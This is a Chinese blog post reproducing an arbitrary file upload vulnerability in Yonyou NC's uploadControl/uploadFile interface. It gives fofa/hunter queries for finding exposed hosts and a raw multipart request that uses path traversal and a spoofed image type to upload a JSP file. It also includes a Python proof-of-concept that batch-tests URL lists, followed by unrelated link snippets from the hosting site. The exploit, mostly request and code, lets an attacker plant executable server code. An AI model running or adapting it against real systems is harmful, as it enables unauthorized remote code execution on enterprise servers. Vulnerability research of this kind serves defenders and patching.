【漏洞复现】用友NC——文件上传漏洞

声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。

文章目录

  • 漏洞描述
  • 漏洞复现
  • 测试工具


漏洞描述

用友NC是由用友公司开发的一套面向大型企业和集团型企业的管理软件产品系列。其uploadControl/uploadFile接口存在任意文件上传漏洞。

漏洞复现

1)信息收集
fofa:title=="YONYOU NC"
hunter:web.title=="YONYOU NC"
在这里插入图片描述
自是人生长恨水长东
在这里插入图片描述
2)构造数据包上传测试文件

POST /mp/initcfg/../uploadControl/uploadFile HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Content-Length: 373
Connection: close------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file"; filename="rce.jsp"
Content-Type: image/jpeg<% out.println("HelloWorldTest");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="submit"上传
------WebKitFormBoundarygcflwtei--

在这里插入图片描述
代码解释

------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file"; filename="rce.jsp"
Content-Type: image/jpeg<% out.println("HelloWorldTest");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="submit"上传
------WebKitFormBoundarygcflwtei--

这段文本代表了一个使用multipart/form-data编码格式的HTTP POST请求体,用于上传文件。下面是各个部分的解释:

  1. ------WebKitFormBoundarygcflwtei:这是分隔符,用于区分不同的表单数据部分。每次请求的边界字符串通常是随机生成的,这里使用的是WebKitFormBoundarygcflwtei

  2. Content-Disposition: form-data; name="file"; filename="rce.jsp":这行指明了接下来的数据是一个文件类型的数据块,其名称为file,文件名为rce.jsp

  3. Content-Type: image/jpeg:尽管这里指定的Content-Type是image/jpeg,但实际上下面的内容并不是JPEG图像,而是一个JSP文件,其中包含了恶意的Java代码。这种类型的攻击称为“MIME类型欺骗”。

  4. <% out.println("HelloWorldTest");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>:这是嵌入在JSP文件中的Java代码。当JSP文件被请求时,这段代码会被执行:

    • out.println("HelloWorldTest");:向页面输出HelloWorldTest字符串。
    • new java.io.File(application.getRealPath(request.getServletPath())).delete();:查找并删除当前请求的Servlet路径对应的物理文件。这可能用于删除上传的JSP文件,以清理痕迹或防止进一步的访问。
  5. ------WebKitFormBoundarygcflwtei:这是另一个分隔符,用于开始一个新的表单数据部分。

  6. Content-Disposition: form-data; name="submit":这一行指示下一个数据块是一个表单字段,名称为submit,通常代表提交按钮。

  7. 上传:这是提交按钮的值。

  8. ------WebKitFormBoundarygcflwtei--:这是请求体的结束标志,表示所有表单数据部分都已经发送完毕。

这种类型的POST请求常用于测试Web应用的安全性,尤其是寻找文件上传漏洞。如果服务器没有正确验证上传文件的内容类型和内容,攻击者就可以利用此类漏洞上传恶意文件,并在服务器上执行任意代码。

3)访问上传文件/mp/uploadFileDir/rce.jsp

GET /mp/uploadFileDir/rce.jsp HTTP/1.1
Host:ip
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36

在这里插入图片描述

测试工具

poc

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import random
import string
import argparse
from urllib3.exceptions import InsecureRequestWarning# 设置颜色代码用于控制台输出
RED = '\033[91m'
RESET = '\033[0m'# 忽略不安全的SSL警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)# 随机生成字符串函数
def rand_base(n):return ''.join(random.choices(string.ascii_lowercase + string.digits, k=n))# 检查目标URL是否具有特定的RCE(远程代码执行)漏洞
def check_vulnerability(url):filename = rand_base(6)  # 生成随机文件名upload_url = url.rstrip('/') + '/mp/initcfg/%2e%2e/uploadControl/uploadFile'  # 构造上传URLupload_headers = {# 构造上传请求头'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36','Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundarygcflwtei','Connection': 'close'}# 构造上传数据体upload_data = ('------WebKitFormBoundarygcflwtei\r\n'f'Content-Disposition: form-data; name="file"; filename="{filename}.jsp"\r\n''Content-Type: image/jpeg\r\n\r\n''<% out.println("HelloWorldTest");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>\r\n''------WebKitFormBoundarygcflwtei\r\n''Content-Disposition: form-data; name="submit"\r\n\r\n''上传\r\n''------WebKitFormBoundarygcflwtei--').encode('utf-8')try:# 发送上传请求response_upload = requests.post(upload_url, headers=upload_headers, data=upload_data, verify=False, timeout=30)# 构造访问上传文件的URLaccess_url = url.rstrip('/') + f'/mp/uploadFileDir/{filename}.jsp'access_headers = {# 访问请求头'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36'}# 发送访问请求response_access = requests.get(access_url, headers=access_headers, verify=False, timeout=30)# 检查响应状态和内容以判断是否存在漏洞if response_upload.status_code == 200 and response_access.status_code == 200 and "HelloWorldTest" in response_access.text:print(f"{RED}URL [{url}] 存在用友 NC uploadControluploadFile 文件上传致RCE漏洞{RESET}")else:print(f"URL [{url}] 不存在漏洞")except requests.exceptions.Timeout:print(f"URL [{url}] 请求超时,可能存在漏洞")except requests.RequestException as e:print(f"URL [{url}] 请求失败: {e}")# 主函数,解析命令行参数并调用检查函数
def main():parser = argparse.ArgumentParser(description='检测目标地址是否存在用友 NC uploadControluploadFile 文件上传致RCE漏洞')parser.add_argument('-u', '--url', help='指定目标地址')parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')args = parser.parse_args()# 如果提供了单个URL,则检查该URLif args.url:if not args.url.startswith("http://") and not args.url.startswith("https://"):args.url = "http://" + args.urlcheck_vulnerability(args.url)# 如果提供了包含URL的文件,则遍历文件中的每个URL进行检查elif args.file:with open(args.file, 'r') as file:urls = file.read().splitlines()for url in urls:if not url.startswith("http://") and not url.startswith("https://"):url = "http://" + urlcheck_vulnerability(url)if __name__ == '__main__':main()

运行截图
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/38504.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

贵不一定好,申请SSL证书一定要找到合适自己的

SSL&#xff08;Secure Sockets Layer&#xff09;的主要作用是保护网络中的数据传输过程安全可靠。通过使用加密技术&#xff0c;SSL在客户端和服务器之间建立一条安全通道&#xff0c;确保敏感数据在网络上传输时不易被窃听、篡改或伪造. 例如&#xff1a;阿里云 目前SSL证…

C语言 | Leetcode C语言题解之第207题课程表

题目&#xff1a; 题解&#xff1a; bool canFinish(int numCourses, int** prerequisites, int prerequisitesSize, int* prerequisitesColSize) {int** edges (int**)malloc(sizeof(int*) * numCourses);for (int i 0; i < numCourses; i) {edges[i] (int*)malloc(0);…

SQL中使用IF语句实现条件判断

SQL中使用IF语句实现条件判断 大家好&#xff0c;我是免费搭建查券返利机器人省钱赚佣金就用微赚淘客系统3.0的小编&#xff0c;也是冬天不穿秋裤&#xff0c;天冷也要风度的程序猿&#xff01;今天我们将深入探讨在SQL中如何使用IF语句进行条件判断。IF语句在SQL中是一种强大…

【Linux】部署NFS服务实现数据共享

&#x1f468;‍&#x1f393;博主简介 &#x1f3c5;CSDN博客专家   &#x1f3c5;云计算领域优质创作者   &#x1f3c5;华为云开发者社区专家博主   &#x1f3c5;阿里云开发者社区专家博主 &#x1f48a;交流社区&#xff1a;运维交流社区 欢迎大家的加入&#xff01…

Python基础总结之isinstance()

Python基础总结之isinstance() 在Python中&#xff0c;isinstance() 是一个非常有用的内置函数&#xff0c;用于判断一个对象是否是一个已知的类型。这个函数在处理继承和多态时特别有用&#xff0c;因为它会考虑继承关系。 技术介绍 isinstance() 函数的基本语法如下&#xf…

4-数据提取方法2(xpath和lxml)(6节课学会爬虫)

4-数据提取方法2&#xff08;xpath和lxml&#xff09;&#xff08;6节课学会爬虫&#xff09; 1&#xff0c;Xpath语法&#xff1a;&#xff08;1&#xff09;选择节点&#xff08;标签&#xff09;&#xff08;2&#xff09;“//”:能从任意节点开始选择&#xff08;3&#xf…

ArcGIS Pro SDK (七)编辑 7 操作Blob字段

ArcGIS Pro SDK &#xff08;七&#xff09;编辑 7 操作Blob字段 目录 ArcGIS Pro SDK &#xff08;七&#xff09;编辑 7 操作Blob字段1 使用属性检查器读取和写入 Blob 字段2 在回调中使用行游标读取和写入 Blob 字段 环境&#xff1a;Visual Studio 2022 .NET6 ArcGIS Pro…

计算机网络面试TCP篇之TCP三次握手与四次挥手

TCP 三次握手与四次挥手面试题 任 TCP 虐我千百遍&#xff0c;我仍待 TCP 如初恋。 巨巨巨巨长的提纲&#xff0c;发车&#xff01;发车&#xff01; PS&#xff1a;本次文章不涉及 TCP 流量控制、拥塞控制、可靠性传输等方面知识&#xff0c;这些知识在这篇&#xff1a; TCP …

第3章:数据结构

树 对稀疏矩阵的压缩方法有三种&#xff1a; 1、三元组顺序表 2、行逻辑连接的顺序表 3、十字链表 同义词才会占用同个位置&#xff0c;从而需要进行多次比较。这些关键字的第一个可以不是e的同义词&#xff0c;可以是排在e之前的关键字正好占了那个位置。 Dijkstra算法主要特点…

何处理Java中的ZipException异常?

如何处理Java中的ZipException异常&#xff1f; 大家好&#xff0c;我是免费搭建查券返利机器人省钱赚佣金就用微赚淘客系统3.0的小编&#xff0c;也是冬天不穿秋裤&#xff0c;天冷也要风度的程序猿&#xff01; 在Java编程中&#xff0c;处理压缩文件&#xff08;如ZIP文件…

jenkins 发布服务到 windows服务器

1.环境准备 1.1 这些就不过多描述了&#xff0c;可以参考我的另一盘文章部署到linux。 jenkins 发布服务到linux服务器-CSDN博客 1.2 需要再windows上安装openssh 地址&#xff1a;Releases PowerShell/Win32-OpenSSH GitHub 到windows上执行安装&#xff0c;可以里面cmd命令…

【Oracle运维】导出数据库中的数据SQL查询结果保存到文件

Oracle SQL查询结果导出到文件、SET命令用法学习 1 概述2 导出到文件的方法2.2 命令行方式-sqlplus方式导出指定SQL查询的结果到csv文件步骤1&#xff1a;system或者实际其他的oracle账号登录到sqlplus命令行界面**步骤2&#xff1a;执行SQL查询语句前的设置目标导出文件内容格…

Java的限制序列化和常用IO流

一.限制序列化 a.问题 出于安全考虑&#xff0c;对于一些比较敏感的信息(如用户密码)&#xff0c;应限制被序列化&#xff0c;如何实现? ◆使用transient关键字修改不需要序列化的对象属性 b.示例 ◆希望Person类对象中的年龄信息不被序列化 二.Java常用IO流有哪些&#x…

人脸特征68点识别 C++

1、加载一张图片 main函数&#xff1a; cv::Mat img cv::imread("5.jpg");vector<Point2f> points_vec dectectFace68(img);2、人脸68特征识别函数 在这里vector<Point2f> dectectFace68(Mat src) {vector<Point2f> points_vec;int* pResults …

【SpringCloud】Eureka源码解析 上

Eureka是一个服务发现与注册组件&#xff0c;它包含服务端和客户端&#xff0c;服务端管理服务的注册信息&#xff0c;客户端简化服务实例与服务端的交互。我们结合源码来分析下eureka组件的实现原理&#xff0c;内容分为上下两章&#xff0c;第一章分析eureka的服务注册&#…

ubuntu apt命令 出现红色弹框 Daemons using outdated libraries

1. 弹框没截图&#xff0c;是因为ubuntu22.04一个新特性导致的&#xff0c;由 needrestart 命令触发&#xff0c;默认情况是交互性质的&#xff0c;也就是会中断在这里需要手动要处理提示。 2. 修改/etc/needrestart/needrestart.conf 文件&#xff0c;将 #$nrconf{restart} …

【区分vue2和vue3下的element UI PageHeader 页头组件,分别详细介绍属性,事件,方法如何使用,并举例】

在 Vue 2 中&#xff0c;Element UI 并没有一个直接命名为 PageHeader 的组件。然而&#xff0c;你可能是在寻找一种方式来创建自定义的页头&#xff08;Page Header&#xff09;&#xff0c;这通常是通过组合 Element UI 的其他组件&#xff08;如 el-header、el-row、el-col、…

大数据开发中如何计算用户留存及SQL示例

在大数据开发领域&#xff0c;用户留存是一个关键指标&#xff0c;它反映了产品吸引并保留用户的能力。 留存率的计算不仅有助于评估产品的健康状况&#xff0c;还能为产品优化和市场策略提供重要依据。 本文将详细介绍如何在大数据开发中计算用户留存&#xff0c;并附带具体…

gpu是什么?

GPU&#xff08;Graphics Processing Unit&#xff0c;图形处理单元&#xff09;是一种专门在个人电脑、工作站、游戏机以及一些移动设备&#xff08;如平板电脑、智能手机等&#xff09;上进行图像和图形相关运算工作的微处理器。以下是关于GPU的详细解释&#xff1a; 1. **定…

精密空气加热器负载组

小型便携式 &#xff1a;精密空气加热器&#xff08;负载组&#xff09;能够对数据中心热通道/冷通道冷却系统进行全面测试。EAK 是一款 19 英寸机架式设备&#xff08;10U 高&#xff09;&#xff0c;可轻松安装到各种标准服务器机架中。通过集成可调节的热量水平&#xff08;…